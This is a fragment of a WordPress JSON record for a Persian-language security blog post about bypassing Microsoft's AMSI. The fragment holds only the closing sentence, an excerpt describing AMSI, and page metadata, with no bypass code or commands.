\u0634\u0646\u0627\u062e\u062a\u0647\u200c\u0634\u062f\u0647\u200c\u062a\u0631 \u0628\u0631\u0627\u06cc AMSI Bypass\u060c \u0631\u0648\u0646\u062f \u062a\u06a9\u0627\u0645\u0644 \u0627\u06cc\u0646 \u0631\u0648\u06cc\u06a9\u0631\u062f\u0647\u0627 \u062f\u0631 \u0637\u0648\u0644 \u0632\u0645\u0627\u0646 \u0648 \u0627\u0641\u0632\u0627\u06cc\u0634 \u067e\u06cc\u0686\u06cc\u062f\u06af\u06cc \u0622\u0646\u200c\u0647\u0627 \u0628\u0648\u062f. \u0627\u0645\u06cc\u062f\u0648\u0627\u0631\u06cc\u0645 \u0627\u06cc\u0646 \u0645\u0642\u0627\u0644\u0647 \u0628\u0631\u0627\u06cc \u0634\u0645\u0627 \u0645\u0641\u06cc\u062f \u0628\u0648\u062f\u0647 \u0628\u0627\u0634\u062f. \u0628\u0627 \u062a\u0634\u06a9\u0631 \u0627\u0632 \u0647\u0645\u0631\u0627\u0647\u06cc \u0634\u0645\u0627.<\/span><\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0627\u0633\u062a\u0627\u0646\u062f\u0627\u0631\u062f Antimalware Scan Interface (AMSI) \u0631\u0627 \u062a\u0648\u0633\u0639\u0647 \u062f\u0627\u062f \u06a9\u0647 \u0628\u0647 \u062a\u0648\u0633\u0639\u0647\u200c\u062f\u0647\u0646\u062f\u06af\u0627\u0646 \u0627\u0645\u06a9\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u062f \u0645\u06a9\u0627\u0646\u06cc\u0632\u0645\u200c\u0647\u0627\u06cc \u062f\u0641\u0627\u0639 \u062f\u0631 \u0628\u0631\u0627\u0628\u0631 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0631\u0627 \u062f\u0631 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u062e\u0648\u062f \u0627\u062f\u063a\u0627\u0645 \u06a9\u0646\u0646\u062f. AMSI \u0627\u06cc\u0646 \u0642\u0627\u0628\u0644\u06cc\u062a \u0631\u0627 \u0641\u0631\u0627\u0647\u0645 \u0645\u06cc\u200c\u06a9\u0646\u062f \u06a9\u0647 \u06cc\u06a9 \u0628\u0631\u0646\u0627\u0645\u0647 \u0628\u0627 \u0647\u0631 \u0622\u0646\u062a\u06cc\u200c\u0648\u06cc\u0631\u0648\u0633 \u0646\u0635\u0628\u200c\u0634\u062f\u0647 \u0631\u0648\u06cc \u0633\u06cc\u0633\u062a\u0645 \u062a\u0639\u0627\u0645\u0644 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u062f \u0648 \u0627\u0632 \u0627\u062c\u0631\u0627\u06cc \u0628\u062f\u0627\u0641\u0632\u0627\u0631\u0647\u0627\u06cc \u067e\u0648\u06cc\u0627\u00a0 \u0648 \u0645\u0628\u062a\u0646\u06cc \u0628\u0631 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u062c\u0644\u0648\u06af\u06cc\u0631\u06cc \u06a9\u0646\u062f. \u062f\u0631 &hellip;<\/p>\n","protected":false},"author":14,"featured_media":20373,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[258,275,349],"tags":[],"class_list":["post-20356","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-teaching","category-penetration-test-article","category-slides"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v26.5 (Yoast SEO v27.6) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ -->\n<title>\u0631\u0627\u0647\u0646\u0645\u0627\u06cc \u062c\u0627\u0645\u0639 \u062f\u0631 \u0645\u0648\u0631\u062f Bypass \u06a9\u0631\u062f\u0646 AMSI - \u0628\u0644\u0627\u06af \u06af\u0631\u0648\u0647 \u0644\u06cc\u0627\u0646<\/title>\n<meta name=\"description\" content=\"\u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0627\u0633\u062a\u0627\u0646\u062f\u0627\u0631\u062f AMSI \u0631\u0627 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